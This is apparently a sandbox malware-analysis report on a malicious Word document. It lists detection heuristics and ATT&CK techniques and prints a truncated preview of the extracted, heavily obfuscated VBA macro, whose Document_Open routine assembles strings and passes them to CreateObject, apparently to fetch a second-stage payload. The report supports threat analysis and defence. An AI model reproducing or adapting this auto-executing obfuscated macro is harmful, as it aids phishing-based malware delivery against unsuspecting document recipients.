MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The sample contains VBA macros, including a Document_Open macro that executes code using CreateObject. This macro is heavily obfuscated, but the presence of Document_Open and CreateObject suggests an attempt to download and execute a second-stage payload. The document body prompts the user to 'Enable editing', a common social engineering tactic to bypass macro security.
Heuristics 7
-
ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 300302 bytes |
SHA-256: fab85984bf23134463c6d59682cfdb476fbb01e276b5f23c15e8e22d0411d4c4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 372 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Option Explicit Sub Document_Open() On Error Resume Next rDmBD Dim gkIKl As String gkIKl = wqLUm(qJYOD) Dim yvWcI As String yvWcI = MUxLa(Fvxbh(11730, 11649)) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14368, 14403))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(17028, 17142))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18044, 17932))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(13841, 13951))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(13525, 13490))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12448, 12430))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12128, 12070))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(16992, 16908))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(11730, 11649))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(17255, 17182))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14855, 14964))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(16620, 16513))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18679, 18616))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(20950, 20916))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14467, 14569))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14368, 14403))) yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138))) Dim UQduw As Object Set UQduw = CreateObject(yvWcI) Dim PxWyK As Object Dim LyfWX As String LyfWX = "" LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19072, 19139))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20219, 20161))) LyfWX = kVDlQ(LyfWX, "\") LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11449, 11497))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14130, 14173))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13525, 13490))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16620, 16513))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12062, 12138))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290))) LyfWX = kVDlQ(LyfWX, "\") LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16591, 16526))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19850, 19939))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17719, 17786))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16992, 16908))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14845, 14730))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18706, 18807))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732))) LyfWX = kVDlQ(LyfWX, "\") LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18706, 18807))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12062, 12138))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18129, 18084))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18044, 17932))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19072, 19139))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14130, 14173))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13841, 13951))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17172, 17266))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12448, 12430))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19850, 19939))) LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13841 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.